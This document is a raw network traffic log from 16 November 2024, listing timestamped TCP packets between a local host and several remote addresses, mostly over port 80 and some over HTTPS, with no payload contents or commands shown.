Nov 16, 2024 13:01:38.508950949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508961916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508972883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508975983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508975983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.508982897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.508996010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509006023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509015083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509023905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509026051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509026051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509035110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509044886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509061098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509061098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509084940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509290934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509300947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509314060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509327888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509366035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509370089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509377956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509388924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.509429932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509430885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.509948969 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.509963989 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.510343075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510360003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510370970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510410070 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510410070 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510438919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510448933 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510458946 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510477066 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510530949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510591984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510603905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510612011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510622978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510632992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510641098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510643959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510654926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510668993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510678053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510679960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510679960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510708094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510732889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510735989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510796070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510807037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510812044 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510817051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510828018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.510843039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510853052 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.510879040 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.510885000 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.510896921 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.511679888 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.511714935 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.517402887 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517477989 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517515898 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.517533064 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517560005 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.517580032 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.517786026 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517838001 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517863035 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.517872095 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.517930984 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.517930984 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.520992994 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.521012068 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.521703005 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.521708012 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.522334099 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.522347927 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.523539066 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.523545027 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.531390905 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.532567024 CET	49864	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.532597065 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.532682896 CET	49864	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.532690048 CET	443	49864	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.541311026 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.541359901 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.541388988 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.541404963 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.541434050 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.541455030 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.542395115 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.542443037 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.542470932 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.542481899 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.542515039 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.542531967 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.543231010 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.543282986 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.543298960 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.543320894 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.543343067 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.543364048 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.544253111 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.544292927 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.544312954 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.544325113 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.544353008 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.544363976 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.545038939 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.545090914 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.545110941 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.545120955 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.545147896 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.545162916 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.552283049 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.552377939 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.552604914 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.563477039 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:38.563541889 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:38.609256029 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.610394955 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.610414028 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.610934019 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.613370895 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.613473892 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.613537073 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.615681887 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.615693092 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.616839886 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.620748043 CET	49865	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.620920897 CET	443	49865	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.623274088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623285055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623294115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623303890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623351097 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623384953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623411894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623430014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623440027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623451948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623461962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623473883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623473883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623477936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623490095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623498917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623511076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623519897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623526096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623526096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623532057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623542070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623552084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623559952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623559952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623579025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623589993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623601913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623608112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623613119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623636961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623636961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623666048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623698950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623709917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623719931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623729944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623739958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623748064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623749018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623761892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623773098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623781919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623792887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623836994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623836994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623836994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623836994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623874903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623886108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623888016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623908997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623925924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623927116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623936892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623946905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623956919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623970985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623975992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.623987913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.623987913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624006987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624012947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624012947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624017954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624054909 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624067068 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624073982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624084949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624094009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624131918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624141932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624151945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624161005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624175072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624186993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624196053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624208927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624208927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624259949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624270916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624281883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624294043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624304056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624314070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624322891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624335051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624335051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624380112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624403954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624420881 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624432087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624442101 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624445915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624453068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624492884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624492884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624507904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624598980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624608040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624623060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624633074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624638081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624643087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624651909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624653101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624653101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624661922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624675035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624701023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624708891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624715090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624715090 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624727011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624736071 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624739885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624769926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624769926 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624780893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624790907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624831915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624864101 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624877930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624892950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624905109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624914885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624923944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624934912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624949932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624949932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624949932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.624963045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.624972105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625003099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625004053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625035048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625045061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625058889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625068903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625078917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625108957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625138998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625138998 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625149012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625173092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625181913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625190973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625199080 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625199080 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625237942 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625237942 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625247955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625258923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625267982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625293016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625298023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625308037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625320911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625344992 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625344992 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625363111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625366926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625376940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625387907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625397921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625407934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625422001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625432014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625435114 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625435114 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625442982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625467062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625467062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625475883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625488997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625498056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625513077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625513077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625530958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625576019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625586033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625596046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625642061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625642061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625664949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625674963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625684023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625693083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625724077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625724077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625823975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625833988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625844955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625854015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625864983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625911951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625911951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625933886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625943899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625952959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:38.625996113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:38.625996113 CET	49802	80	192.168.2.5	185.215.113.206
